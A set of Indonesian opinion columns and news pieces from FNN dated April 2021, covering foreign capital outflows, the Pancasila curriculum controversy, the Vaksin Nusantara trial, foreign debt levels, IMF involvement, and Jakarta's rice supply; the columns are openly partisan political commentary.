PEKAN lalu, dalam periode 12 sampai 15 April, tercatat aliran modal asing keluar dari Indonesia tercatat Rp 710 miliar. Dengan angka itu, total aliran modal asing yang minggat dari pasar keuangan Indonesia semakin besar. Sebab, angka sebelumnya sudah mencapai Rp 5,89 triliun (angka Januari sampai awal Maret). Angka ini tidak mengkhawatirkan jika aliran modal masuk juga terus meningkat. Angka aliran modal asing yang hengkang dari pasar uang Indonesia itu cukup banyak, di tengah gonjang-ganjing pergantian sejumlah menteri pada Kabinet Joko Widodo-Ma'ruf Amin. "Nonresiden di pasar keuangan domestik jual neto Rp 0,71 triliun," kata Kepala Departemen Komunikasi Bank Indonesia Erwin Haryanto dalam keterangan tertulisnya, Jumat, 16 April 2021. Kita tidak tahu persis kenapa terjadi alira modal asing keluar dari Indonesia. Apakah itu semata-mata nonresiden, atau karena faktor lain, yaitu ketidakpastian ekonomi, kegaduhan kabinet, kegaduhan politik atau bahkan faktor keamanan dalam negeri. Angka Rp 710 miliar bukan kecil dalam kondisi sekarang. Jika dipukul rata selama 4 hari (12 sampai 15 April 2021) Rp 177,5 miliar. Jika penuh lima hari kerja (Senin 12 sampai Jum'at 16 April) berarti rata-rata Rp 142 miliar per hari. Pertanyaannya, apakah aliran modal asing berkaitan dengan isu pergantian (reshuffle) kabinet? Apakah kepercayaan terhadap pasar turun karena kondisi perekonomian yang.masih penuh ketidakpastian. Membaca prilaku pelaku pasar sulit dilakukan. Tidak ada ukuran yang pasti, kapan investor jor-joran masuk, dan kapan ramai-ramai keluar. Kita juga tidak tahu, apakah aliran modal asing keluar dari Indonesia itu juga diikuti pelarian modal dalam negeri yang biasanya dilakukan pengusaha 'hitam.' Sebab, hampir dipastikan banyak pengusaha dalam negeri yang ingin aman, dananya.tidak.diutak-atik. Sebab, jika ditarik dan dimainkan dalam.bentuk dolar.AS.atau bentuk lainnya tentu lebih menguntungkan. Pasar uang dan pasar modal adalah mirip-mirip permainan judi. Spekulasi lebih besar dibandingkan kalkulasi. Para pemainnya mengharapkan keuntungan yang melimpah dalam seketika. Bahkan, para pemain di pasar uang utamanya, lebih cenderung seperti mafia yang harus mengandalkan spekulasi pasar. Pelaku pasar uang dan padar modal adalah para pemilik dana yang setiap waktu bisa ditarik dan dipindahkan sesuka mereka. Pemerintah diharapkan mewaspadai penarikan modal.asing, baik di pasar uang maupun pasar modal. Sebab, jika tiba-tiba mereka menarik modal dan uangnya dalam jumlah besar sehari, hal itu bisa mengguncang perekonomian. Ibrat nasabah bank tiba-tiba menarik dana tabungannya di bank, tentu sangat berbahaya. Rush pada sebuah bank misalnya, bisa membuat kepercayaan masyarakat pada sistem perbankan turun. Kembali ke penarikan modal asing yang keluar dari Indonesia, walau baru Rp 710 miliar tetap harus diwaspadai. Jika hal itu terus naik, bisa membuat stabilitas rupiah yang pekan lalu terpuruk, akan turun lagi. Keterpurukan nilai rupiah terhadap dolar AS bisa menguntungkan komoditas ekspor, karena harganya naik. Akan tetapi, di sisi lain akan memberatkan importir. Yang tidak kalah berat lagi adalah semakin memberatkan terhadap utang/pinjaman luar negeri, terutama yang jatuh tempo tahun ini.**

Kontroversi Nadiem Makarim Hapus Pendidikan Pancasila

by Asyari Usman Medan, FNN - Hari-hari ini sedang ribut soal Mendikbud Nadiem Makarim yang menghapus Pancasila dari daftar mata kuliah wajib. Bermunculan protes. Tak pelak lagi, Nadiem menjadi sasaran kecurigaan. Dia diduga tidak punya pemahaman tentang Pancasila, dlsb. Kontroversi ini muncul setelah PP Nomor 57/2021 yang meniadakan Pancasila sebagai mata pelajaran dan mata kuliah wajib. Setelah dikritik keras di sana-sini, akhirnya Menteri Nadiem merevisi PP ini. Pancasila dan bahasa Indonesia tetap wajib diajarkan di sekolah dan perguruan tinggi. Satu pertanyaan: apakah tuan-puan sekalian menyangka para pejabat, elit kekuasaan, elit politik, elit bisnis, dll, masih ada yang teringat dengan Pancasila? Yang masih mengamalkan Pancasila? Tentu Anda semua tahu jawabannya. Karena tahu jawabannya, pastilah Anda bisa paham mengapa Nadiem tidak peduli dengan Pancasila. Dia merevisi PP 57 itu tidak berarti hati dan pikirannya berisi nilai-nilai Pancasila. Bisa saja karena kontroversi penghapusan Pancasila itu ditentang keras oleh para ulama dan para tokoh bangsa serta pakar pendidikan yang mengkhawatirkan arah pembinaan spiritual bangsa. Tapi, apakah penghapusan itu salah Nadiem? Bukan. Itu kesalahan Presiden Jokowi yang berharap Nadiem bisa melakukan transformasi pendidikan supaya orang Indonesia bisa menjadi seperti Nadiem. Dia sukses dengan Gojek-nya. Jokowi kagum sekali dengan Nadiem yang bisa menjadi pengusaha hebat hanya bermodalkan aplikasi. Jadi, Jokowi ingin sekali anak-anak Indonesia ini menjadi inovatif seperti Nadiem. Tapi, Jokowi lupa bahwa inovasi Gojek dan sejenisnya hanya sebatas pengorganisasian penjualan jasa angkutan. Buka tidak penting. Penting juga. Cukup bagus organisasi Gojek itu. Namun, yang menjadi masalah krusial bagi Indonesia ini adalah inovasi produk yang berbasis riset. Semua produk. Baik itu produk pertanian, kelautan, elektronik, persenjataan, alat transportasi, dlsb. Ini kalau kita bicara soal inovasi yang diperlukan untuk mengangkat harkat ekonomi-bisnis rakyat. Bukan semata sukses bisnis aplikasi ala Nadiem itu saja. Kembali lagi kita ke soal Pancasila di mata Nadiem. Kelihatannya, dia tidak memikirkan aspek spiritual dalam menggapai sukses bisnis. Yang penting orang harus berpikir dan bertindak kapitalis. Menumpuk keuntungan sebanyak-banyaknya. Tidak ada istilah pemerataan. Tidak kenal keadilan ekonomi. Karena itu, nilai-nilai Pancasila hanya akan menggannggu gerak maju bisnis. Dari kalkulasi inilah Nadiem melihat mata pelajaran atau mata kuliah Pancasila tidak perlu diajarkan. Sebab, nilai-nilai Pancasila mengajarkan orang berbagi, peduli sesama, dan mengingatkan orang tentang kehidupan kekal yang hanya bisa dipahami melalui konsep Ketuhanan Yang Masa Esa. Sila pertama Pancasila ini bertentangan dengan prinsip cari duit sebanyak-banyaknya yang dipraktikkan Nadiem selama ini. Sekarang kita lihat apakah Nadiem masih layak duduk sebagai menteri pendidikan. Kalau Jokowi masih menganggap penting Ketuhanan Yang Maha Esa dengan segala nilai dan syariat yang membatasi ketamakan dan kerakusan, tentu saja Nadiem tidak cocok lagi mengemban tugas pendidikan. Sebaliknya, kalau Jokowi berpandangan sama dengan Nadiem, berarti pendidikan Pancasila tidak perlu ada. Dan itulah sesungguhnya yang ingin mereka lakukan ketika menerbitkan PP 57/2021. Revisi adalah sekadar reaksi ketika publik menjadi resah.[] Penulis adalah Wartawan Senior FNN.co.id.

Vaksin Nusantara Mulai Banjir Dukungan, Pro-kontra Merebak

by Mochamad Toha Surabaya, FNN - Dukungan secara politik dibuktikan oleh beberapa pemimpin dan tokoh masyarakat terhadap Vaksin Nusantara besutan mantan Menteri Kesehatan Dr. dr. Terawan Agus Putranto, SpRad. Bahkan, dukungan juga datang dari mantan Menkes Siti Fadilah Supari. “Saya memutuskan menjadi relawan uji klinik Vaksin Nusantara, menurut saya, biasa-biasa saja dan sederhana saja, saya agak kaget kok menjadi berita?” ujar Siti Fadilah Supari dalam rilisnya, Kamis (15/4/2021). Siti Fadilah mendengar, membaca, dan berpikir tentang vaksin nusantara. Menurutnya, si peneliti berpikir logis, inovatif. Memang, inovasi selalu mengagetkan kemapanan, bahkan bisa mengganggu yang sudah mapan. Di dalam ilmu pengetahuan, logis saja tidak cukup, tetapi harus dibuktikan. Maka ia bersedia menjadi relawan karena Siti Fatilah Supari menghargai seorang peneliti yang berpikiran beda dengan yang lainnya. Dia membuat hipotesis. Dan, hipotesis itu boleh saja salah, tapi harus dibuktikan dulu. Maka perlu penelitian. Harapannya kalau memang uji klinik ini mendapatkan hasil yang positif, artinya hipotesis dr. Terawan terbukti, “waah saya sangat bahagia karena kondisi saya saat ini sangat cocok dengan metode ini.” Sedangkan tentang pernyataan BPOM? “Pernyataan dari BPOM boleh-boleh saja, memang BPOM yang punya wewenang untuk ijin edarnya,” ujar Siti Fadilah Supari. Tentang ahlinya dan lain-lainnya dari Amerika Serikat tersebut? “Wahh saya tidak tahu. Tapi, kita kan negara yang berdaulat, dengan politik bebas dan aktif, maka boleh saja bekerjasama dengan negara manapun dengan prinsip kemitraan yang transparan, setara dan adil,” lanjutnya. (Duduk sama rendah, berdiri sama tinggi). Menurutnya, yang penting produk ini menjadi produk Indonesia, untuk kemaslahatan bangsa yang membutuhkan. Terutama untuk lansia seperti dirinya. Diberitakan sebelumnya, BPOM menyatakan penelitian Vaksin Nusantara belum memenuhi syarat, sehingga mereka belum mengeluarkan izin persetujuan penelitian uji klinis (PPUK) fase 2. BPOM merilis hasil uji klinis fase I atas Vaksin Nusantara yang digelar pada 23 Desember – 6 Januari 2021 di RSUD Kariadi, Kota Semarang terhadap 28 subjek. Hasilnya, sebagian besar relawan mengalami kejadian tak diinginkan mulai dari level ringan, sedang, hingga berat. “Sebanyak 20 dari 28 subjek (71,4 persen) mengalami Kejadian yang Tidak Diinginkan, meskipun dalam grade 1 dan 2,” kata Kepala BPOM Penny Lukito, dilansir Tirto.id, Selasa (13/4/2021). Efek simpang yang dirasakan antara lain, nyeri lokal, nyeri otot, nyeri sendi, nyeri kepala, penebalan, kemerahan, gatal, ptechiae, lemas, mual, demam, batuk, pilek dan gatal. Seluruh subjek mengalami Kejadian yang Tidak Diinginkan (KTD) pada kelompok vaksin dengan kadar adjuvant 500 mcg dan lebih banyak dibandingkan pada kelompok vaksin dengan kadar adjuvant 250 mcg dan tanpa adjuvant. Di luar 20 subjek tersebut, terdapat 6 subjek penelitian yang mengalami efek simpang derajat berat. Sebanyak 1 subjek mengalami hipernatremi, 2 subjek mengalami peningkatan Blood Urea Nitrogen (BUN) dan 3 subjek mengalami peningkatan kolesterol. Menurut Penny, KTD grade 3 merupakan salah satu pada kriteria penghentian pelaksanaan uji klinis yang tercantum pada protokol uji klinik. Namun, berdasarkan informasi Tim Peneliti saat inspeksi yang dilakukan BPOM, ternyata tidak dilakukan penghentian pelaksanaan uji klinis dan analisis yang dilakukan oleh Tim Peneliti terkait kejadian tersebut. Penny menjelaskan, itu menjadi satu alasan bagi BPOM enggan menerbitkan Persetujuan Pelaksanaan Uji Klinik (PPUK) tahap 2 bagi vaksin nusantara. Dalam catatannya Kamis (15 April 2021), Prof. Dr. dr. Djohansjah Marzuki, Sp.BP (K), guru besar Fakultas Kedokteran Universitas Airlangga, Surabaya, mengomentari penolakan beberapa politisi dan anggota DPR terhadap keputusan BPOM itu. Profesor Djohansyah melihat, ini sebagai tanda masih rendahnya pengetahuan dan pengertian tentang Budaya Ilmiah. Vaksin adalah suatu produk ilmiah dari ilmu biologi, ilmu kedokteran, dan ilmu kefarmasian. Karena itu harus disikapi denga perilaku mengikuti kaidah-kaidah ilmiah atau nama lainnya dangan Budaya Ilmiah. Menurut Profesor Djohansyah, budaya ilmiah adalah perilaku intelektual yang berdasar pada kaidah-kaidah ilmu. Pertama, Ilmu natural berfokus pada kebenaran, dibuktikan dengan data yang terukur, tanpa bias oleh karena itu pula dikembangkan aturan dan kaidah-kaidah yang baku. Tentu kejujuran para ilmuwan menjadi mutlak. Dukungan dalam ilmu itu adalah adanya evidence dengan data yang terukur. Bukan jumlah orang atau banyaknya pejabat yang berbaris di belakangnya. Kedua, Ilmiah itu harus independen, tidak memihak kepentingan pribadi, kelompok maupun bangsa. Hanya berpihak pada kebenaran saja dan prosedur yang baku. Prosedur itupun dibuat oleh ilmuwan, bukan oleh pejabat kekuasaan negara. Ketiga, Kekuasan dan jabatan tidak boleh punya pengaruh terhadap jalannya penelitian ilmu. Ilmu natural tidak mengenal nasionalisme dan politik. No authority in science. Keempat, Ketidak-jujuran dalam ilmu diangggap perilaku yang sangat tercela. Misconduct. Tampaknya masih begitu banyak tokoh masyarakat tidak tahu masalah ini. Kalau tidak tahu maka sebaiknya serahkan saja kepada lembaga yang mengerti imu dan budaya ilmiah seperti BPOM dan lain-lain. Jangan memojokkan lembaga ilmiah dengan tuduhan-tuduhan tentang soal nasionalisme, memihak kelompok kepentingan tertentu, yang pasti itu tidak boleh dilakukan oleh lembaga ilmiah yang berbudaya ilmiah dan penuh tanggung jawab. Para politisi dan tokoh masyarakat harus bisa menghargai lembaga ilmiah. Jika tak mengerti budaya ilmiah ini janganlah menggangu pekerjaan para ilmuwan yang melakukan tugasnya dengan berbudaya ilmiah dengan tanggungjawab. Budaya ilmiah itu menjadi dasar perilaku para ilmuwan ilmu natural di seluruh dunia. Negara maju adalah negara yang menggalakkan ilmu dan budaya ilmiah dlm negaranya. Apa jadinya negara ini kalau para pemimpin dan tokoh masyarakatnya memusuhi atau tidak menghargai lembaga dan institusi keilmuan. Jika menganggap lembaga ilmiah itu menyalah gunakan fungsinya maka laporkan dan usut saja, tapi jangan dimusuhi tanpa dasar yang kuat. Profesor Djohansyah mengingatkan, memusuhi lembaga ilmiah mempunyai resiko jangka panjang menghambat kemajuan bangsa dan negara. Prof. Zubairi Djoerban @ProfesorZubairi dalam akun Twitter-nya berkomentar: Ada anggapan saya sentimen dengan Pak Terawan. Bahkan dikaitkan dengan terapi cuci otak dan sanksi terhadapnya. Beberapa media bertanya ini. Saya nyatakan tak ada sentimen itu. Tapi, saya akan sentimen pada vaksin yang diduga mengabaikan kaidah ilmiah. Tidak ada yang personal. 12.13 - 16/04/21 (Twitter). Penulis adalah Wartawan Senior FNN.co.id.

Saat Utang Luar Negeri Sudah Over Borrowing

POSISI utang luar negeri (ULN) Indonesia dinilai telah mengalami over borrowing, kelebihan pasok dibandingkan kemampuan bayar. Itu sebabnya perlu manajemen utang yang lebih hati-hati dan terstruktur. Hal itu paling tidak dengan ancang-ancang Menkeu Sri Mulyani Indrawati yang akan meminta konsultasi ke Dana Moneter Internasional (International Monetary Fund--IMF) dan Bank Dunia (World Bank). Hal senada dikemukakan anggota Komisi XI DPR RI Kamrussamad menanggapi rilis Bank Indonesia (BI) tentang posisi utang luar negeri per akhir Februari 2021. BI menyebut, utang luar negeri pada akhir Februari 2021 telah mencapai US$422,6 miliar atau tumbuh 4,0% (yoy). Lebih tinggi dibandingkan dengan pertumbuhan pada bulan sebelumnya sebesar 2,7% (yoy). Peningkatan pertumbuhan ULN tersebut didorong oleh ULN Pemerintah dan ULN swasta. Meski meningkat, BI masih menilai posisi ULN relatif aman dan terkendali karena sebagian besar didominasi utang berjangka panjang. Benarkah ULN kita masih aman? Paking tidak ada tiga instrumen untuk mengukur utang suatu negara masuk kategori over borrowing atau lower borrowing. Yaitu, pertama, DSR (Debt Service Ratio), rasio pembayaran bunga dan cicilan utang terhadap penerimaan ekspor dengan batas aman sebesar 20%. Kedua, DER (Debt Export Ratio), rasio total ULN dengan penerimaan ekspor dengan batas aman sebesar 200%. Ketiga, DGDP (Debt to GDP Ratio), rasio antara total ULN terhadap PDB dengan batas aman 40%. Jika mengacu pada data ULN Februari 2021, nilai DGDP ratio Indonesia sebesar 39,7%, sedangkan data mengenai DSR dan DER masing-masing sebesar 27,86% dan 215.4% pada IV-2020. Itu menunjukkan bahwa Indonesia mengalami over borrowing dilihat dari indikator DSR dan DER. Sedangkan dengan indikator DGDP, nilainya hampir melampaui batas aman sehingga diperlukan manajemen utang dengan hati-hati dan terstruktur. Itu yang menjadi alasan mengapa pemerintah melakukan manajemen utan seperti mencari sumber pendanaan yang berbiaya murah, meminimalkan risiko terkait portofolio utang dan mendukung pengembangan pasar. “Kurangi pinjaman valas secara gradual dan terencana, fokus pada pinjaman domestik dengan jatuh tempo jangka menengah dan panjang, dan fokus pada suku bunga tetap untuk pinjaman baru,” saran Kamarussamad. Kamrussamad menyarankan, penerbitan SPN (Treasury bills dengan jatuh tempo 12 bulan) hanya untuk manajemen kas dan tidak untuk menutup defisit atau refinancing utang yang masih ada. “Obligasi internasional hanya diterbitkan untuk membiayai kewajiban dalam valas, memperkuat cadangan devisa, dan menghindari crowding out pasar obligasi domestik,” tambah dia. Anggota DPR itu memahami utang merupakan konsekuensi belanja negara yang ekspansif. Apalagi di tengah pandemi Covid-19 dimana pemerintah terpaksa harus pengeluaran untuk mempercepat pemulihan ekonomi nasional. Ia enggan terlibat adu argumen terkait perbandingan besaran utang negara. Yang perlu diperhatikan adalah bagaimana strategi efektif agar ekonomi dapat lekas pulih kembali, bukan malah perang argumentasi yang dapat memicu hambatnya pemulihan ekonomi. Dan yang penting bagaimana kita sebagai negara yang bebas aktif dalam pergaulan internasional, tapi mandiri secara ekonomi dan berkarakted dalam budaya. Sudah saatnya mengembalikan kewibawaan NKRI lewat pengelolaan utang yang bertanggung jawab. Tabik!

Kehadiran IMF Bisa Memicu Lengsernya Jokowi

by Tjahja Gunawan Jakarta, FNN - Menkeu Sri Mulyani dalam Pertemuan Musim Semi Dana Moneter Internasional (IMF) -Kelompok Bank Dunia Tahun 2021, yang diselenggarakan secara daring pada 5-11 April 2021, meminta agar Bank Dunia dan IMF dapat membantu negara-negara di dunia untuk mengelola beban utang mereka termasuk Indonesia. Kemudian, Sri Mulyani juga berharap agar kedua lembaga tersebut dapat memberikan bantuan dalam rangka peningkatan vaksin dan menerapkan strategi pemulihan pertumbuhan negara-negara yang membutuhkan. Selain itu, Sri Mulyani juga mengatakan bahwa pihaknya membutuhkan pengawasan dan bimbingan keduanya dalam mengatasi beban utang negara yang terus meningkat. Rupanya Sri Mulyani sudah mulai kewalahan dan terlihat tanda-tanda menyerah dalam menghadapi meroketnya utang luar negeri. Kementerian Keuangan mencatat posisi utang Indonesia mencapai Rp 6.361 triliun per akhir Februari 2021, naik 2,05 persen atau Rp128 triliun dari periode Januari 2021. Jika utang tersebut ditambah dengan utang BUMN, jumlah totalnya menjadi sekitar Rp 8.500 triliun. Wajar kalau banyak yang memperkirakan Jokowi nanti akan mewariskan utang Rp 10.000 Triliun jika sudah tidak menjadi Presiden lagi. Jika sekarang Sri Mulyani meminta bantuan IMF untuk mengatasi utang luar negeri, harus siap-siap nanti seluruh kebijakan ekonomi Indonesia akan diatur dan dikendalikan lagi oleh IMF seperti tàhun 1998. Sebenarnya kehadiran IMF ini juga bisa memicu lengsernya Presiden Jokowi. Sebab Kejatuhan Presiden Soeharto bulan Mei 1998, juga dipicu oleh kebijakan ekonomi IMF yang harus dijalankan oleh pemerintah Indonesia waktu itu. Pasca Indonesia dihantam krismon tahun 1997, pemerintah Indonesia meminta bantuan IMF dan akhirnya Soeharto terpaksa menandatangi Letter of Intent (LoI) dengan IMF. Sehingga seluruh kebijakan ekonomi Indonesia waktu itu diatur dan dikontrol IMF. Adalah Prof Dr Widjojo Nitisastro, penasehat ekonomi Presiden Soeharto yang waktu itu menyarankan agar Indonesia meminta bantuan IMF untuk mengatasi krismon. Sikap Widjojo ini didukung oleh salah seorang tokoh pers yang berpengaruh sehingga output pemberitaan medianya waktu itu ikut mendukung kehadiran IMF di Tanah Air. Namun anehnya Menkeu Mar'ie Muhammad dan Gubernur Bank Indonesia Sudradjad Djiwandono, sama sekali tidak dilibatkan pada saat penandatangan LoI antara IMF dengan Presiden Indonesia Soeharto pada Januari 1998. Keduanya memang diundang untuk datang ke rumah kediaman Soeharto di Jalan Cendana, Jakarta, tetapi Menkeu dan Gubernur BI hanya menunggu di luar ruangan. Saya waktu itu masih aktif sebagai wartawan di lapangan, menulis berita tentang masalah moneter dan keuangan. Sehari-hari biasa meliput kegiatan di Bank Indonesia maupun Depkeu. Soedrajad Djiwandono keberatan dan menunjukkan ekspresi tidak nyaman selama berada di kediaman rumah Soeharto karena dirinya sebagai pemegang otoritas moneter, tidak dilibatkan dalam perumusan poin-poin kesepakatan yang tertera dalam LoI IMF tersebut. Awalnya pada 31 Oktober 1997, Indonesia menandatangani LoI yang pertama dengan IMF sebagai wujud kesepakatan IMF untuk membantu memulihkan Indonesia. Kemudian penandatangan LoI kedua dilakukab Presiden Soeharto pada 15 Januari 1998. Betapapun pahitnya resep IMF itu, rezim Orde Baru awalnya menduga keterlibatan dan peran lembaga keuangan ini bakal menyelesaikan krismon. Tapi nyatanya ekonomi Indonesia justru semakin terpuruk dan krismon tidak kunjung berakhir. Sebaliknya krismon meluas menjadi krisis sosial dan krisis politik. Ketika itu pertumbuhan ekonomi yang semula tumbuh 6 % menjadi minus 13 %. Sedangkan nilai tukar rupiah merosot tajam dari Rp 2.500 per dollar AS, merosot tajam hingga ke level Rp 13.000 per dollar AS. Di saat yang sama, daya beli masyarakat menurun, sementara pengangguran dan PHK terjadi dimana-mana. Akibatnya kepercayaan masyarakat terhadap pemerintah pun turun. Akhirnya Soeharto lengser dari kursi Presiden pada 22 Mei 1998. Sebelum Soeharto lengser, IMF merekomendasikan kenaikan harga BBM hingga 74 % persen dan minyak tanah sebesar 44 %. Setelah itu, sontak masyarakat melancarkan protes yang kemudian memicu terjadinya gelombang aksi demonstrasi mahasiswa di berbagai daerah di Indonesia. Mereka menuntut Soeharto lengser. Sales Promotion Girl IMF Sama seperti Prof Widjojo Nitisastro, kali ini Menkeu Sri Mulyani kembali meminta bantuan lembaga keuangan internasional. "Kami membutuhkan pengawasan dan bimbingan yang lebih besar dari Bank Dunia dan IMF untuk mengatasi masalah utang dan mengurangi tekanan yang meningkat," kata Sri Mulyani, Selasa (13/4/2021). Ekonom Rizal Ramli mengkritik keras langkah Menkeu Sri Mulyani itu. Rizal menilai langkah tersebut justru bisa membawa Indonesia masuk ke dalam jurang krisis yang lebih dalam lagi. Bahkan Mantan Menko Maritim ini menyebut Sri Mulyani sebagai Sales Promotion Girl (SPG) IMF. "Dasar SPG Bank Dunia/IMF," kata Rizal Ramli dalam keterangan tertulis, Sabtu (17/4/2021). Dia menilai perekonomian Indonesia akan semakin hancur, seperti tahun 1998. Rizal kembali mengingatkan sejarah hubungan Indonesia dengan IMF khususnya tahun 1998. "Saya dulu ekonom yang menentang masuknya IMF. Saya bilang keras-keras, Indonesia tidak butuh IMF. Krisis akan makin buruk kalau IMF diundang masuk ke Indonesia," katanya. Hanya saja hal tersebut terlambat, Presiden Soeharto justru meneken perjanjian dengan IMF. Direktur Pelaksana IMF Michael Camdessus menyaksikan momen penandatanganan LoI tanggal 15 Januari 1998 itu sambil menyilangkan kedua lengan di dada. Sementara Soeharto membungkuk untuk menandatangani LoI. Inilah momen kekalahan Indonesia oleh IMF. Kekhawatiran Rizal soal IMF bukan tanpa alasan. Dia melihat beberapa negara malah terperosok makin dalam. Benar saja, IMF segera mengeluarkan aneka kebijakan yang membuat situasi makin buruk. Begitu IMF masuk, disarankan menaikkan tingkat bunga bank dari 18 persen rata-rata jadi 80 persen. Akhirnya banyak perusahaan langsung bangkrut. Selanjutnya, tàhun 1997 saat krismon IMF juga meminta pemerintah Indonesia untuk menutup 16 bank swasta nasional. Langkah itu menimbulkan polemik dan keresahan di kalangan masyarakat terutama para nasabah. Hal ini menimbulkan ketidakpercayaan masyarakat pada perbankan Indonesia. Para nasabah ramai-ramai menarik uang simpanan mereka di bank. Dari sini pemerintah terpaksa menyuntikkan dana BLBI sebesar US$ 80 miliar. Inilah awal malapetaka kasus korupsi triliunan rupiah yang belum tuntas sampai sekarang. Kemudian Rizal membandingkan sikap Malaysia yang menolak IMF yang mengeluarkan kebijakan ketat soal moneter. Hasilnya mereka bisa dengan mudah keluar dari krisis. Oleh karena itu saat menjadi Menko Perekonomian era Presiden Gus Dur, Rizal Ramli menolak secara tegas saran IMF. Menurutnya, cuma di era Gus Dur ada presiden tak menambah jumlah utang negara. "Waktu saya masuk, minus 3 persen ekonominya. Kami putuskan tidak mengikuti kebijakan IMF. Kita jalan sendiri dengan segala kontroversinya," kata Rizal. Dia yakin kalaupun saat ini Indonesia menghadapi berbagai persoalan termasuk masalah ekonomi, akan ada sosok pemimpin hebat yang bisa mengatasi persoalan tersebut. Masa depan Indonesia tergantung pada pemimpinnya. Hanya Ada dua tipe pemimpin, yakni pemimpin hebat dan memble. Pemimpin memble tidak akan mempunyai kemampuan untuk menyelesaikan masalah. Sebaliknya membuat masalah yang tadinya sederhana menjadi ruwet. Presiden paling hebat di Amerika namanya Franklin Delano Roosevelt Waktu dia jadi presiden, ekonomi Amerika mengalami depresi berat. Kinerja ekonomi Amerika pada waktu itu juga hanya nomor 7 di dunia, tapi Franklin Roosevelt karena kepemimpinannya dia mampu membalikkan ekonomi Amerika. Perekonomian tumbuh pesat, lapangan pekerjaan tersedia dan akhirnya ekonomi Amerika naik dari nomor 7 jadi nomor 1. Roosevelt termasuk pemimpin yang kuat meski kakinya diserang penyakit polio. Para menterinya yang bekerja lembek dan tidak mampu mengatasi masalah yang ada, diminta mundur. Akhirnya, Roosevelt bisa bekerjasama dengan bawahannya yang termasuk orang-orang baik, tangguh, yang kemudian membuat Amerika jadi negara adidaya. Nah, apakah Jokowi termasuk tipe pemimpin hebat atau memble ? Sebenarnya kalau memang sudah tidak sanggup lagi menjadi Presiden, bisa saja Jokowi mengundurkan diri. Tidak perlu pura-pura meminta Menkeu Sri Mulyani mengundang IMF datang ke Indonesia untuk mengatasi meroketnya utang luar negeri. *** Penulis adalah Wartawan Senior FNN.co.id.

Mengatasi Persoalan Beras di Jakarta

by Suhardi Suryadi Jakarta, FNN - Untuk memenuhi kebutuhan pangan 10,56 juta penduduk Jakarta setidaknya diperlukan 2.000 ton beras setiap harinya. suplai kebutuhan beras ini dipenuhi dari beberapa daerah. Menurut data Pasar Induk Cipinang, kemampuan penyediaan beras harian maksimal hanya sebanyak 30.568 ton. Ini berarti cukup untuk memenuhi kebutuhan warga sekitar 15 hari ke depan. Dewasa ini, stok beras yang tersedia di Bulog lebih dari 800 ribu ton di seluruh Indonesia. Namun yang perlu disadari bahwa persediaan beras yang ada tidak semuanya dalam kondisi baik. Mengingat terdapat sisa stok beras impor tahun 2018 yang sudah mulai menurun kualitasnya. Setidaknya mencapai 300 ribu ton. Karena itu, Menteri Perdagangan mengatakan bahwa dengan jumlah sebesar itu kelak berpotensi menciptakan gejolak harga. Menurut beliau, jumlah stok beras saat ini kurang mencapai 500 ribu yang merupakan ketersediaan paling rendah dalam sejarah Bulog, Antisipasi Gejolak Mengantisipasi kemungkinan terjadi gejolak harga akibat ketersediaan beras yang menipis, maka Pemerintah DKI Jakarta menjalin kerjasama dengan Pemerintah Daerah Cilacap terkait pengembangan kebutuhan pangan (beras). Kerjasama yang dilakukan Food Station Tjipinang Jaya (BUMD) ditandai dengan kegiatan panen bersama di lahan seluas 50 hektare yang diorganisir Gapoktan (Gabungan Kelompok Tani) Sumber Makmur, Desa Jenang, Kecamatan Majenang, Kabupaten Cilacap. Pada dasarnya, kerja sama antara Food Station dengan Gapoktan Sumber Makmur Cilacap sudah diinisiasi sejak tahun 2018 dengan luas sawah 250 hektare. Kemudian dilanjutkan tahun 2019, dimana luas areanya bertambah menjadi 500 hektare dan akhirnya menjadi 850 hektare pada 2020. Diharapkan luas areal persawahan yang dikerjasamakan menjadi 1.000 hektar pada tahun 2021. Sehingga dapat menghasilkan 5,7 ton per hektar atau 5.700 ton gabah kering panen (GKP) yang setara dengan 2.964 ton beras dengan varietas ciherang, metik wangi, dan lainnya. Dalam kerangka itu, Pemerintah DKI melalui Food Station telah melaksanakan pendampingan kepada para petani dan off taker produk pertanian yang dikembangkan, antara lain pemilihan varietas, pasca-panen, memberikan jaminan harga, dan sebagainya. Melalui kerjasama dengan prinsip saling menguntungkan, diharapkan pergerakan perekonomian di Ibu Kota dapat juga berdampak langsung terhadap daerah. Sementara itu, bagi warga di Jakarta, yang 99 persen kebutuhan pangannya dipasok dari luar akan mendapatkan pasokan dengan harga yang terjangkau. Pada ujungnya suasana keadilan sosial dapat terwujud, dimana masyarakat Jakarta memiliki beras dengan kualitas yang baik, serta yang paling penting adalah petani di Cilacap merasakan peningkatan kesejahteraan, kata Gubernur Anies. Apa yang dilakukan oleh pemerintah DKI menunjukan bahwa menjaga kelangsungan suplai pangan bagi warganya menjadi prioritas. Penyediaan beras yang merupakan kebutuhan pokok warga Jakarta, perlu dijaga dan diutamakan. Mengingat sebagian warga yang hidup di Jakarta adalah kelompok masyarakat kurang mampu. Sehingga kemampuan menyediakan yang merupakan tanggung jawab pemerintah daerah akan dianggap positif. Terlebih dengan adanya pasokan beras untuk menjamin kebutuhan warga, maka harga beras akan menjadi stabil. Stabilitas harga beras sangat penting mengingat rendahnya kemampuan ekonomi warga saat ini, terutama warga kurang mampu. Dengan demikian, manfaat ekonomi dan politik dapat diperoleh pemerintah DKI secara bersamaan. Dan selayaknya hal ini didukung pemerintah pusat dengan menyediakan fasilitas kredit misalnya kepada daerah yang memiliki lahan pertanian luas untuk membebaskan petani dari jeratan pengijon dalam soal penentuan harga. Hal yang sama juga dapat dilakukan oleh pemerintah daerah lainnya yang memiliki sumberdaya keuangan yang cukup. Sehingga mendorong ketersediaan pangan dan kesejahteraan petani yang lebih luas Penulis adalah Peneliti LP3ES.

Apa Sebab Jurubicara Prabowo Melecehkan Habib Rizieq

